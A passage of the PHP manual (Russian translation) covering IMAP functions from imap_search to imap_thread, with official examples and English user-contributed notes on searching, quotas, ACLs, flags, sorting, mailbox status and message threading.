It's not possible to find strings containing double quotes using this function.

For example, if you got a message named : Hello, this is "Bob"
You can try :
     imap_search($inbox, 'SUBJECT "Hello, this is "Bob""')
Or
     imap_search($inbox, "SUBJECT 'Hello, this is \"Bob\"'")

But both are false, because you did not escape double quotes in the first case, and you can NOT use simple quotes in the imap_search criteria in the second case.

The real problem is that you cannot use simple quotes to surround your criteria in the 2nd argument of imap_search, after SUBJECT.
james at medbirdie dot com 10-Sep-2012 07:31
To set your own CHARSET, which is useful if you are dealing with Chinese Japanese and Korean queries.

<?php imap_search($inbox,'BODY "'.$keyword.'"', SE_FREE, "UTF-8"); ?>
Anonymous 22-Jul-2012 07:34
The date format for e.g. SINCE is, according to rfc3501:

date            = date-text / DQUOTE date-text DQUOTE

date-day        = 1*2DIGIT
                    ; Day of month

date-day-fixed  = (SP DIGIT) / 2DIGIT
                    ; Fixed-format version of date-day

date-month      = "Jan" / "Feb" / "Mar" / "Apr" / "May" / "Jun" /
                  "Jul" / "Aug" / "Sep" / "Oct" / "Nov" / "Dec"

date-text       = date-day "-" date-month "-" date-year

So a valid date is e.g. "22-Jul-2012" with or without the double quotes.
Brett 14-May-2012 07:45
I haven't found any documentation of the allowed date formats, but (for example) "14 May 2012" works.

// Find UIDs of messages within the past week
$date = date ( "d M Y", strToTime ( "-7 days" ) );
$uids = imap_search ( $mbox, "SINCE \"$date\"", SE_UID );
joseph dot cardwell at jbcwebservices dot com 26-Mar-2012 05:07
imap_search() always returns false when op_silent flag is set in the connection parameters.
admin at rancid-tea dot com 20-Sep-2007 08:57
This search looks for messages matching ALL criteria, not ANY criteria. For example the search

imap_search($mailbox,'FROM "user" TO "user"')

Will return message that have "user" in both the from and to headers, but not messages with "user" in either the from or to header.
oliver at samera dot com dot py 26-Oct-2002 08:16
imap_search() only supports IMAP2 search criterias, because the function mail_criteria() (from c-client lib) is used in ext/imap/php_imap.c for parsing the search string.
IMAP2 search criteria is defined in RFC 1176, section "tag SEARCH search_criteria".
oliver at samera dot com dot py 26-Jan-2002 09:03
imap_search() return false if it does not understand the search condition or no messages have been found.

$emails imap_seach($mbox, "UNDELETED SENTSINCE 01-Jan-2002");
if($emails === false)
  echo "The search failed";


Установить квоту для заданного почтового ящика

  • « imap_search
  • imap_setacl »
  • PHP Manual
  • Функции IMAP
  • Установить квоту для заданного почтового ящика

imap_set_quota

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

imap_set_quota — Установить квоту для заданного почтового ящика

Описание

imap_set_quota(IMAP\Connection $imap, string $quota_root, int $mailbox_size): bool

Устанавливает верхний предел квоты для заданного почтового ящика

Список параметров

imap

Экземпляр IMAP\Connection.

quota_root

Почтовый ящик, для которого устанавливается квота в виде строки в формате IMAP: user.name.

mailbox_size

Максимальный размер (в килобайтах) для quota_root

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Примеры

Пример #1 Пример использования imap_set_quota()

<?php
$mbox = imap_open("{imap.example.org:143}", "mailadmin", "password");

if (!imap_set_quota($mbox, "user.kalowsky", 3000)) {
echo "Ошибка при установке квоты\n";
return;
}

imap_close($mbox);
?>

Примечания

В данный момент эта функция поддерживается только при использовании библиотеки c-client2000 или более свежей.

Заданный imap должен быть открыт от имени администратора почтового сервера, иначе функция завершится с ошибкой.

Смотрите также

  • imap_open() - Открывает поток IMAP к почтовому ящику
  • imap_get_quota() - Получить настройку уровня квоты и статистику использования почтовых ящиков

User Contributed Notes

lars at kneschke dot de 18-Mar-2003 06:24
If you want to disable the quotas again, set them to -1.

$mbox = imap_open ("{your.imap.host:143}", "mailadmin", "password");

if(!imap_set_quota($mbox, "user.kalowsky", -1)) {
    print "Error in deleting quota\n";
    return;
}

imap_close($mbox);


Установка ACL для заданного почтового ящика

  • « imap_set_quota
  • imap_setflag_full »
  • PHP Manual
  • Функции IMAP
  • Установка ACL для заданного почтового ящика

imap_setacl

(PHP 4 >= 4.0.7, PHP 5, PHP 7, PHP 8)

imap_setacl — Установка ACL для заданного почтового ящика

Описание

imap_setacl(
IMAP\Connection $imap,
string $mailbox,
string $user_id,
string $rights
): bool

Устанавливает ACL для заданного почтового ящика.

Список параметров

imap

Экземпляр IMAP\Connection.

mailbox

Имя почтового ящика, более подробно смотрите в описании imap_open()

Внимание

Если imap.enable_insecure_rsh не отключён, то передача в этот параметр не проверенных данных не безопасна.

user_id

Идентификатор пользователя, которому выдаются права.

rights

Права для выдачи. Передача пустой строки означает удаление всех прав.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Примечания

В данный момент эта функция поддерживается только при использовании библиотеки c-client2000 или более новой версии.

Смотрите также

  • imap_getacl() - Получить ACL для заданного почтового ящика

User Contributed Notes

hartmut dot woehrle at hwds dot ch 07-Mar-2016 02:46
After getting the ACL's from imap_getacl you want to set them for a user on any mailbox folder like this:

foreach ( $Folders as $key => $Maildir ) {
imap_setacl($domains , "user/john.doe/".$Maildir , $userid, "lrswipkxte");
}

You can use a form that translates the ACLs like the following (thanks to cyradm manual):

  switch ($right) {
      case "read" :  $aclstring = "lrs";
          break;
      case "post" : $aclstring = "lrsp";
          break;
      case "append" : $aclstring = "lrsip";
          break;
      case "write" : $aclstring = "lrswipkxte";
          break;
      case "delete" : $aclstring = "lrxte";
          break;
      case "all" : $aclstring = "lrswipkxte";
          break;
      case "admin" : $aclstring = "lrswipkxtea";
          break;
      case "none" : $aclstring = "";
          break;
  }
panayotis at yellownetroad dot com 06-Oct-2002 04:34
I noticed that using:
imap_setacl ($conn, $mbox, $userid, "")
will act like:
"deleteaclmailbox $mbox $userid"  (remove the ACL on mailbox for userid).


Установить флаги на сообщения

  • « imap_setacl
  • imap_sort »
  • PHP Manual
  • Функции IMAP
  • Установить флаги на сообщения

imap_setflag_full

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_setflag_full — Установить флаги на сообщения

Описание

imap_setflag_full(
IMAP\Connection $imap,
string $sequence,
string $flag,
int $options = 0
): bool

Сообщает серверу, что надо добавить флаг flag к набору флагов, заданным в sequence сообщениям.

Список параметров

imap

Экземпляр IMAP\Connection.

sequence

Последовательность номеров сообщений.Вы можете перечислить несколько сообщений, используя как разделитель запятую (X,Y), или задать интервал сообщений с помощью двоеточия X:Y

flag

Флаги, которые можно установить: \Seen, \Answered, \Flagged, \Deleted и \Draft, как определено в » RFC2060.

options

Битовая маска, которая может принимать только одно значение:

  • ST_UID - последовательность сообщений задана не их номерами, а с помощью UID

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Примеры

Пример #1 Пример использования imap_setflag_full()

<?php
$mbox = imap_open("{imap.example.org:143}", "username", "password")
or die("не удалось подключиться: " . imap_last_error());

$status = imap_setflag_full($mbox, "2,5", "\\Seen \\Flagged");

echo gettype($status) . "\n";
echo $status . "\n";

imap_close($mbox);
?>

Смотрите также

  • imap_clearflag_full() - Снять с сообщения установленные флаги

User Contributed Notes

ming0 at mailinator dot com 08-Sep-2010 10:43
To correct phpidiot at avanca-a dot de

<?php

imap_setflag_full($mbox, '1', 'label1');

?>
daniel dot blackburn at galorwebservices dot com 20-Aug-2010 02:13
Where possible I would avoid using POP3 accounts. My host allowed me to upgrade to IMAP and it is so much easier. I think the only way to accurately create any form of mail client with POP3 is to download the messages into an SQL database which is a big task to start with, considering the IMAP standards have the functionality we need built in.
I experimented with flag setting in POP3 and it seems they do not stick at all, and it is almost impossible to retrieve the number of unread messages (ie. the Seen / Unseen thing does not work)
Converted to IMAP and it's working - the majority of the functions in this section seem to be IMAP focussed and WILL NOT generally work with POP3
phpidiot at avanca-a dot de 25-Oct-2009 04:37
"Keywords" aka "tags" aka "PERMANENTFLAGS" can be added if your server supports IMAP 4rev1 by using $label{label-nr}:

<?php

$mbox = imap_open("{imap.example.org:143}", "username", "password")
     or die("can't connect: " . imap_last_error());

$status = imap_setflag_full($mbox, "2,5", "\$label1");

echo gettype($status) . "\n";
echo $status . "\n";

imap_close($mbox);
?>
calmdown at abendstille dot at 16-Jan-2003 01:54
The imap_setflag_full-function works with pop3 as long as the connection is NOT closed. if you make

imap_setflag_full($mbox, imap_uid($mbox, 0), "\\Seen \\Flagged", ST_UID);

print_r( imap_headerinfo($mbox, 0) );

you see the flags set, but if you call the box again with another script, the flags are empty again.
I tried this on a WinNT (*ugly*) with IIS 4.0 and a running POP3-server with PHP 4.3.
msh at onliners dot dk 25-Apr-2002 08:36
In reply to:
todsah@arise.nl
13-Oct-2000 06:51

The pop3 does indeed support the deleted flag - I have been working with the IMAP functions connection to a POP3 server this past week and lucky me it works.
AJCartmell at ricardo dot com 31-Jan-2002 06:29
Spent ages trying to get this to work, then eventually remembered I had opened the mailbox READONLY - obviously you need write permission for setting flags!
php AT holtsmark DOT no 14-Jan-2002 06:48
Use the imap_clearflag_full function if you want to unset the \Seen flag.

http://www.php.net/manual/en/function.imap-clearflag-full.php
death at metalfield dot com 21-Dec-2000 05:14
Indeed POP3 does not support flags that indicate the "newness" of a message. There are other ways to work around this problem, though. For one, I have seen mail delivery systems that will add a header field Status: to indicate its status (see RFC2076). Another way most email clients and mail fetching programs seem to use is to keep a local list of UID's of messages that are downloaded. Upon fetching mail, the UID's of the messages can be checked against this list to see if it was already downloaded. POP3 supports a command UIDL to get a list of all UID's, but I doubt the IMAP lib uses this command. The only thing I know of that will thrash this work-around is the use of multiple mail clients. If another mail client fetches mail from the server, the first client has no way of knowing it has been downloaded.
todsah at arise dot nl 13-Oct-2000 12:51
According to the rfc, pop3 does not have support for these flags, except perhaps for the deleted flag. I haven't tried if the delete flag works on pop3 or not.
simoned at eisa dot net dot au 13-Jan-2000 10:04
I've finally managed to get some action out of this function. Here is some code that might work help some people out:

$headers = imap_headers($link);
for($x=0; $x < count($headers); $x++) {
    $id = substr($headers[$x],5,4);
    imap_setflag_full($link,imap_uid($link,$id),'\\SEEN',SE_UID);
}

Good luck.


Получить и отсортировать сообщения

  • « imap_setflag_full
  • imap_status »
  • PHP Manual
  • Функции IMAP
  • Получить и отсортировать сообщения

imap_sort

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_sort — Получить и отсортировать сообщения

Описание

imap_sort(
IMAP\Connection $imap,
int $criteria,
bool $reverse,
int $flags = 0,
?string $search_criteria = null,
?string $charset = null
): array|false

Получает и сортирует номера сообщений в соответствии с заданными параметрами.

Список параметров

imap

Экземпляр IMAP\Connection.

criteria

Одно (и только одно) из следующих значений:

  • SORTDATE - сортировать по дате
  • SORTARRIVAL - дата получения
  • SORTFROM - по первому адресу в поле From
  • SORTSUBJECT - по теме письма
  • SORTTO - по первому адресу в поле To
  • SORTCC - по первому адресу в поле cc
  • SORTSIZE - по размеру сообщения

reverse

Определяет сортировку в обратном порядке.

flags

Параметр flags задаётся битовой маской одной или нескольких констант:

  • SE_UID - возвращать UID, а не номера сообщений
  • SE_NOPREFETCH - не извлекать найденные сообщения

search_criteria

Строка с поисковым критерием в формате IMAP2. Подробнее смотрите в описании функции imap_search().

charset

Кодировка MIME для использования при сортировке строк.

Возвращаемые значения

Возвращает массив номеров сообщений, отсортированных в соответствии с заданными параметрами или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.
8.0.0 | reverse теперь является логическим типом (bool) вместо целого числа (int).
8.0.0 | search_criteria и charset теперь являются nullable.

User Contributed Notes

antoine dot spam-nono at maxg dot info 09-Feb-2006 07:42
I worked a lot with IMAP functions since I wrote a complete webmail and I've got a little tip about the imap_sort function :

There is a big difference between :

<?php
 imap_sort($imap, SORTDATE, 1);
// and
 imap_sort($imap, SORTARRIVAL, 1);
?>

The first command will issue a
 >> FETCH 1:last (UID ENVELOPE BODY.PEEK[HEADER.FIELDS (Newsgroups Content-MD5 Content-Disposition Content-Language Content-Location Followup-To References)] INTERNALDATE RFC822.SIZE FLAGS)

While the second resulted in
 >> FETCH 1:last (UID INTERNALDATE RFC822.SIZE FLAGS)

As a result, using SORTDATE took 3 seconds longer to complete on a 800-emails mailbox, while the results are quite the same (except if you have to deal with forged dates or timezones, but the arrival order is far more logical)

My advice if you sort your emails by arrival is to actually use SORTARRIVAL, or better don't use imap_sort and go straight with message numbers (not UIDs). On large mailboxes, if you display messages per page, you will have significant performance increases (by avoiding 5 seconds of sorting).
persian-horde at metanetworking dot com 07-May-2005 09:41
Hello,
We used MIME and NLS libraries in our previous code(imap_locale_sort) that
are part of PEAR and Horde projects, and so our function
was so specific. Here is the general (pure php) code for this
function:

function imap_locale_sort($stream,$criteria,$reverse,$locale,$options)
{
        if ($criteria!=SORTSUBJECT)
                return (imap_sort($stream,$criteria,$reverse,$options));

        $unsorted = array();
        $sortresult = array();

        $MC=imap_check($stream);
        $MN=$MC->Nmsgs;

        $overview = imap_fetch_overview($stream,"1:$MN",0);
        $k=0;
        while( list($key,$val) = each($overview))
        {
                $unsorted[$k]["uid"]=$val->uid;
                $unsorted[$k]["subject"]=imap_utf8($val->subject);
                $k++;
        }
        usort ($unsorted, create_function('$a,$b','setlocale(LC_ALL,$locale);return strcoll($a["subject"],$b["subject"]);'));

        for ($m=0;$m<count($unsorted);$m++)
                array_push($sortresult,$unsorted[$m]["uid"]);

        if ($reverse)
                $sortresult = array_reverse($sortresult);

        return $sortresult;
}

Sample usage:

$mbox = imap_open("{localhost:143}INBOX.sent-mail","userid","password");

if ($mbox)
    echo ("Connection Successful!");

$sorted = imap_locale_sort($mbox,SORTSUBJECT,0,'fa_IR',0);
print_r($sorted);
print ("\n\n");
$sorted = imap_sort($mbox,SORTSUBJECT,SE_UID);
print_r($sorted);

imap_close($mbox);
persian-horde at metanetworking dot com 07-May-2005 03:17
imap_sort uses the c-client library to sort messages. This library currently does not
support locale-based sort for foreign languages (Although it has charset option).
They are working on this(http://www.washington.edu/imap/IMAP-FAQs/#1.12),
but you can use the following function which uses strcoll() for locale-based sorting.
Pease note that this is required for SUBJECT field sorting, because most of
other fields are sorted correctly by imap_sort in any locale:

function imap_locale_sort($stream,$criteria,$reverse,$locale,$options)
{
        if ($criteria!=SORTSUBJECT)
                return (imap_sort($stream,$criteria,$reverse,$options));

        $unsorted = array();
        $sortresult = array();

        $MC=imap_check($stream);
        $MN=$MC->Nmsgs;

        $overview = imap_fetch_overview($stream,"1:$MN",0);
        $k=0;
        while( list($key,$val) = each($overview))
        {
                $unsorted[$k]["uid"]=$val->uid;
                $unsorted[$k]["subject"]=MIME::decode($val->subject, NLS::getCharset());
                $k++;
        }
        usort ($unsorted, create_function('$a,$b','setlocale(LC_ALL,$locale);return strcoll($a["subject"],$b["subject"]);'));

        for ($m=0;$m<count($unsorted);$m++)
                array_push($sortresult,$unsorted[$m]["uid"]);

        if ($reverse)
                $sortresult = array_reverse($sortresult);

        return $sortresult;
}

Usage example:

$sorted = imap_locale_sort($stream,SORTSUBJECT,0,'fa_IR',0);
boscolau at mac dot com 22-Mar-2005 02:57
in reply to graham_NOSPAM at rdb-concepts dot NOSPAM dot co dot uk here is a more elegant way to achieve sorting of search results:

function order_search($searchresults, $sortresults) {
    return array_values(array_intersect($sortresults,$searchresults));
}

example of using function:
   $sortresults = imap_sort($stream, $sort, $sortorder);
   $searchresults = imap_search($stream, $query);
   $sorted_search_results = order_search($searchresults, $sortresults);

sorted version of search results will then be held in the array of $sorted_search_results.
tilmauder at yahoo dot com 27-Apr-2004 09:43
in response to fprado's problem, the solution would be to use array_multisort() function on imap_fetchheader(). sdavey at datalink dot net dot au wrote an excellent example under array_multisort. I have used it to sort POP3 by message size. Unfortunately, my code is much too convoluted to post it here.
fprado at pmovil dot com dot br 21-Nov-2002 01:23
I use imap_sort() to go through POP3 accounts. However, sometimes, when the mailbox is too large, the response is incredibly slow.

I tried sniffing the network to discover the source of the problem and found that when imap_sort() is called for a POP3 server, it downloads the full body & attachs of ALL the messages in the mailbox. Since my POP server and my Web server are on differente machines, this caused the considerably slow response.

I've been trying a work-around this issue and if I manage to do this I'll post it here.
graham_NOSPAM at rdb-concepts dot NOSPAM dot co dot uk 18-Feb-2002 01:34
for those of you with an old version of PHP that doesn't support the extra search paramater you may want to use this function:
function order_search($searchresults, $sortresults) {
    $searchhash = array();
    $returnresults = array();
    $count = 0;
    for ($i = 0; $i < sizeof($searchresults); $i++) {
        $searchhash[$searchresults[$i]] = true;
    }
    for ($i = 0; $i < sizeof($sortresults); $i++) {
        if (@$searchhash[$sortresults[$i]]) {
            $returnresults[$count] = $sortresults[$i];
            $count++;
        }
    }
    return $returnresults;
}

example of using function:
    $sortresults = imap_sort($stream, $sort, $sortdir, SE_UID);
    $searchresults = imap_search($stream, $search, SE_UID);
    $results = order_search($searchresults, $sortresults);

$results will then hold a sorted array of search results.


Получить информацию по статусу почтового ящика

  • « imap_sort
  • imap_subscribe »
  • PHP Manual
  • Функции IMAP
  • Получить информацию по статусу почтового ящика

imap_status

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_status — Получить информацию по статусу почтового ящика

Описание

imap_status(IMAP\Connection $imap, string $mailbox, int $flags): stdClass|false

Возвращает информацию по статусу заданного ящика mailbox.

Список параметров

imap

Экземпляр IMAP\Connection.

mailbox

Имя почтового ящика, более подробно смотрите в описании imap_open()

Внимание

Если imap.enable_insecure_rsh не отключён, то передача в этот параметр не проверенных данных не безопасна.

flags

Допустимые опции:

  • SA_MESSAGES - установить $status->messages, равным количеству писем в ящике
  • SA_RECENT - установить $status->recent, равным количеству новых писем
  • SA_UNSEEN - установить $status->unseen, равным количеству непрочитанных писем
  • SA_UIDNEXT - установить $status->uidnext равным следующему uid, который будет использован в ящике
  • SA_UIDVALIDITY - установить $status->uidvalidity в значение константы, которая меняется, когда UID для почтового ящика больше не могут быть действительным
  • SA_ALL - использовать все перечисленные опции

Возвращаемые значения

Функция возвращает объект, содержащий информацию по статусу или false в случае возникновения ошибки. Объект имеет следующие свойства: messages, recent, unseen, uidnext и uidvalidity.

flags также установлен, он содержит битовую маску которая может быть проверена с помощью перечисленных выше констант.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Примеры

Пример #1 Пример использования imap_status()

<?php
$mbox = imap_open("{imap.example.com}", "username", "password", OP_HALFOPEN)
or die("не удалось подключиться: " . imap_last_error());

$status = imap_status($mbox, "{imap.example.org}INBOX", SA_ALL);
if ($status) {
echo "Сообщения: " . $status->messages . "<br />\n";
echo "Последние: " . $status->recent . "<br />\n";
echo "Непросмотренные: " . $status->unseen . "<br />\n";
echo "UIDnext: " . $status->uidnext . "<br />\n";
echo "UIDvalidity:" . $status->uidvalidity . "<br />\n";
} else {
echo "imap_status failed: " . imap_last_error() . "\n";
}

imap_close($mbox);
?>

User Contributed Notes

mwwaygoo AT hotmail DOT com 12-Jul-2012 01:33
I had issues with imap_status not working correctly, while other imap functions seemed okay. I always got the ['flags']=0 response. No notes here and Google searching suggests it doesn't working properly with Exchange, so I wrote a little workaround, to at least get some information.

<?php
    function my_imap_status($stream, $mailbox='', $info=SA_ALL)
    {
        // get current mailbox name (and info)
        $curr_obj=imap_check($stream);
        if(!$curr_obj) return false;

        // if request if for current mailbox then just return it
        if( (empty($mailbox)) || ($mailbox==$curr_obj->Mailbox) ) return $curr_obj;

        // get current mailbox
        $current_mailbox=$curr_obj->Mailbox;

        //switch to new mailbox
        if(!imap_reopen($stream, $mailbox)) return false;

        // get info
        $obj=imap_check($stream);

        // switch back to original mailbox
        imap_reopen($stream, $current_mailbox);

        //return info
        return $obj;
    }
?>
razonklnbd at hotmail dot com 05-Jan-2008 10:12
another tips is to get only total number of message and recent message

$imap_obj = imap_status($mbox, '{mail.mysrv.com:143/imap}INBOX', SA_MESSAGES+SA_RECENT);
echo('<pre>'); var_dump($imap_obj); echo('</pre>');
jille at DIESPAMMERShexon dot cx 03-May-2007 06:21
In 'reply' to my previous post;
I`m not sure of that anymore
I think this trick works,
but the rest of my script just sucks..

Conclusion:
You can get the last UID by using status->uidnext-1
BUT: This is not a good way, if another message is added after your append and before your status; you are screwed


Подписаться на почтовый ящик

  • « imap_status
  • imap_thread »
  • PHP Manual
  • Функции IMAP
  • Подписаться на почтовый ящик

imap_subscribe

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_subscribe — Подписаться на почтовый ящик

Описание

imap_subscribe(IMAP\Connection $imap, string $mailbox): bool

Подписаться на новый почтовый ящик.

Список параметров

imap

Экземпляр IMAP\Connection.

mailbox

Имя почтового ящика. Более подробно читай в разделе про imap_open()

Внимание

Если imap.enable_insecure_rsh не отключён, то передача в этот параметр не проверенных данных не безопасна.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Смотрите также

  • imap_unsubscribe() - Отписаться от почтового ящика

User Contributed Notes

shacky 29-May-2009 06:34
Hi,
When $mailbox string ends with '/' it doesn't subscribe and doesn't return any error. You need to rtrim this character.
ajflorido dot canariastelecom.com 16-Mar-2003 10:11
Hello there! Sorry for my english
For someone who need to use this function.
I was trying to use it on my own imap server v2.0 but it didn't subscribe to any of the folders, so i try this method and it works.

class imap {
 var $imaphost="{your.imap.host:143}";
 var $imapuser="user";
 var $imappass="pass";
}

$imapm = new imap();

$mbox=imap_open($imapm->imaphost,$imapm->imapuser,$imapm->imappass);

$bool=imap_subscribe($mbox,"{your.host:143}INBOX");
  if ($bool)
  {
     print "Ok";
  } else {
            print "No ok";
           }


Получить дерево связанных сообщений

  • « imap_subscribe
  • imap_timeout »
  • PHP Manual
  • Функции IMAP
  • Получить дерево связанных сообщений

imap_thread

(PHP 4 >= 4.0.7, PHP 5, PHP 7, PHP 8)

imap_thread — Получить дерево связанных сообщений

Описание

imap_thread(IMAP\Connection $imap, int $flags = SE_FREE): array|false

Возвращает дерево связанных сообщений.

Список параметров

imap

Экземпляр IMAP\Connection.

flags

Возвращаемые значения

imap_thread() возвращает ассоциативный массив содержащий дерево сообщений, связанных с помощью REFERENCES, или false в случае возникновения ошибки.

Каждое сообщение в текущем почтовом ящике будет представлено как запись в дереве в результирующем массиве:

  • $thread["XX.num"] - номер текущего сообщения

  • $thread["XX.next"]

  • $thread["XX.branch"]

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Примеры

Пример #1 Пример использования imap_thread()

<?php

// Здесь мы выводим связанные сообщения группы новостей в HTML

$nntp = imap_open('{news.example.com:119/nntp}some.newsgroup', '', '');
$threads = imap_thread($nntp);

foreach ($threads as $key => $val) {
$tree = explode('.', $key);
if ($tree[1] == 'num') {
$header = imap_headerinfo($nntp, $val);
echo "<ul>\n\t<li>" . $header->fromaddress . "\n";
} elseif ($tree[1] == 'branch') {
echo "\t</li>\n</ul>\n";
}
}

imap_close($nntp);

?>

User Contributed Notes

p2 at eduardoruiz dot es 21-Sep-2020 01:36
Fix
XX.num maybe 0, then stop

<?php
function FindThread(&$mailbox, $uid) {

    $mails = array();
    $thread = imap_thread($mailbox, SE_UID);

    $i = array_search($uid, $thread);
    while(($tree = explode('.', $i)) && ($j = array_search($tree[0], $thread)) &&
        ($treej = explode('.', $j)) && $treej[0] && ($k = array_search($treej[0], $thread)) && ($treek = explode('.', $k)) &&
        $thread[$treej[0] . '.num'] && $thread[$treek[0] . '.num'] &&
        ($thread[$treej[0] . '.next'] != 0 || $thread[$treek[0] . '.next'] != 0))
            $i = $j;

    $mails = FindThreadAll($thread, $tree[0]);

    return $mails;
}
?>

Eduardo Ruiz (Spain)
p2 at eduardoruiz dot es 19-Sep-2020 07:20
Get all UIDs of a single thread (not the whole all messages threads).
If you want to list just a conversation thread.

First, we must find the root element, using an UID included in these conversation in whatever message.

Then recursivelly we list all UIDs messages in an array.

<?php
// Function returns empty array if message is not in a thread
// You must indicate $mailbox returned by imap_open and a message UID listed in that thread conversation
// First root element is found when parent and previous parent are both with 'XX.next' elements equal to 0

function FindThread($mailbox, $uid) {

    $mails = array();
    $thread = imap_thread($mailbox, SE_UID);

    $i = array_search($uid, $thread);
    while(($tree = explode('.', $i)) && ($j = array_search($tree[0], $thread)) &&
        ($treej = explode('.', $j)) && $treej[0] && ($k = array_search($treej[0], $thread)) && ($treek = explode('.', $k)) &&
        ($thread[$treej[0] . '.next'] != 0 || $thread[$treek[0] . '.next'] != 0))
            $i = $j;

    $mails = FindThreadAll($thread, $tree[0]);

    return $mails;
}

// Walk messages in 2 ways, using 'XX.branch' and recursivelly 'XX.next' for sibiling and children messages
// Stop when in first iteration(call) there is no 'XX.next' element

function FindThreadAll(&$thread, $i, $n = 0) {

    $mails = array();
    while($i) {

        if(!($j = $thread[$i . '.next']) && !$n)
            break;

        $mails[] = $thread[$i . '.num'];
        if($j)
            $mails = array_merge($mails, FindThreadAll($thread, $j, $n + 1));

        $i = $thread[$i . '.branch'];
    }

    return $mails;
}

if(($mails = FindThread(64851))) // Example UID message
    print_r(imap_fetch_overview($mailbox, implode(',', $mails), SE_UID));
?>

Eduardo Ruiz (Spain)
cblanquera at gmail dot com 19-May-2011 08:13
imap_thread() returns threads, but are confined to the current open mailbox you defined in imap_open(). This is not useful for, lets say, getting full threads ( from "Sent Messages" and "Inbox" [took me a day to figure this out]).

If you compare threads on Outlook vs gmail.com you will find that Outlook determines threads by subject title, not actual parent > child relationships.

Gmail however, seems to get threads right, but does not include mail you send using their web interface in  {imap.google.com:993/imap/ssl}Sent Messages . What this means is that threads using php imap won't be perfect for gmail.

If you send mail using Outlook (or any mail client), gmail.com does put it in their "Sent Mail".

So all in all, threads for PHP imap are not perfect. But I blame the imap specifications (DEAR IMAP GUYS, please add better uids and parent ids. thx Chris) more than PHP

So I created the Outlook method for threading (comparing subjects) below:

<?php
$imap         = imap_open('{imap.gmail.com:993/imap/ssl}INBOX', 'youremail@gmail.com', 'yourpassword');
$subject     = 'Item b';
$threads     = array();

//remove re: and fwd:
$subject = trim(preg_replace("/Re\:|re\:|RE\:|Fwd\:|fwd\:|FWD\:/i", '', $subject));

//search for subject in current mailbox
$results = imap_search($imap, 'SUBJECT "'.$subject.'"', SE_UID);

//because results can be false
if(is_array($results)) {
    //now get all the emails details that were found
    $emails = imap_fetch_overview($imap, implode(',', $results), FT_UID);

    //foreach email
    foreach ($emails as $email) {
        //add to threads
        //we date date as the key because later we will sort it
        $threads[strtotime($email->date)] = $email;
    }
}

//now reopen sent messages
imap_reopen($imap, '{imap.gmail.com:993/imap/ssl}Sent Messages');

//and do the same thing

//search for subject in current mailbox
$results = imap_search($imap, 'SUBJECT "'.$subject.'"', SE_UID);

//because results can be false
if(is_array($results)) {
    //now get all the emails details that were found
    $emails = imap_fetch_overview($imap, implode(',', $results), FT_UID);

    //foreach email
    foreach ($emails as $email) {
        //add to threads
        //we date date as the key because later we will sort it
        $threads[strtotime($email->date)] = $email;
    }
}

//sort keys so we get threads in chronological order
ksort($threads);

echo '<pre>'.print_r($threads, true).'</pre>';
exit;
?>

so if you are going to use imap_thread() for something useful. This is probably the most optimal way I can think of:

<?php
$imap = imap_open('{imap.gmail.com:993/imap/ssl}INBOX', 'youremail@gmail.com', 'password');
$threads = $rootValues = array();

$thread = imap_thread($imap);
$root = 0;

//first we find the root (or parent) value for each email in the thread
//we ignore emails that have no root value except those that are infact
//the root of a thread

//we want to gather the message IDs in a way where we can get the details of
//all emails on one call rather than individual calls ( for performance )

//foreach thread
foreach ($thread as $i => $messageId) {
    //get sequence and type
    list($sequence, $type) = explode('.', $i);

    //if type is not num or messageId is 0 or (start of a new thread and no next) or is already set
    if($type != 'num' || $messageId == 0
       || ($root == 0 && $thread[$sequence.'.next'] == 0)
       || isset($rootValues[$messageId])) {
        //ignore it
        continue;
    }

    //if this is the start of a new thread
    if($root == 0) {
        //set root
        $root = $messageId;
    }

    //at this point this will be part of a thread
    //let's remember the root for this email
    $rootValues[$messageId] = $root;

    //if there is no next
    if($thread[$sequence.'.next'] == 0) {
        //reset root
        $root = 0;
    }
}

//now get all the emails details in rootValues in one call
//because one call for 1000 rows to a server is better
//than calling the server 1000 times
$emails = imap_fetch_overview($imap, implode(',', array_keys($rootValues)));

//foreach email
foreach ($emails as $email) {
    //get root
    $root = $rootValues[$email->msgno];

    //add to threads
    $threads[$root][] = $email;
}

//there is no need to sort, the threads will automagically in chronological order
echo '<pre>'.print_r($threads, true).'</pre>';
imap_close($imap);
exit;
?>
whamill at google mail 26-Apr-2010 02:23
I figure other people may benefit from an explanation of the resulting array, My understanding is:

Key: Essentially a node ID
Num: The mail ID (where 0 indicates the start of a conversation)
Next: The node ID of the first child (where 0 indicates there are no children)
Branch: The node ID of the next sibling (where 0 indicates there is no sibling)
mail at moritz-lapp dot de 05-Aug-2004 01:47
One possible option to imap_thread is the constant SE_UID, which will make imap_thread return UIDs instead of sequence numbers in the x.num-fields of the returned array.


Установить или получить время ожидания imap

  • « imap_thread
  • imap_uid »
  • PHP Manual
  • Функции IMAP
  • Установить или получить время ожидания imap

imap_timeout

(PHP 4 >= 4.3.3, PHP 5, PHP 7, PHP 8)

imap_timeout — Установить или получить время ожидания imap

Описание

imap_timeout(int $timeout_type, int $timeout = -1): int|bool

Устанавливает или получает время ожидания imap.

Список параметров

timeout_type

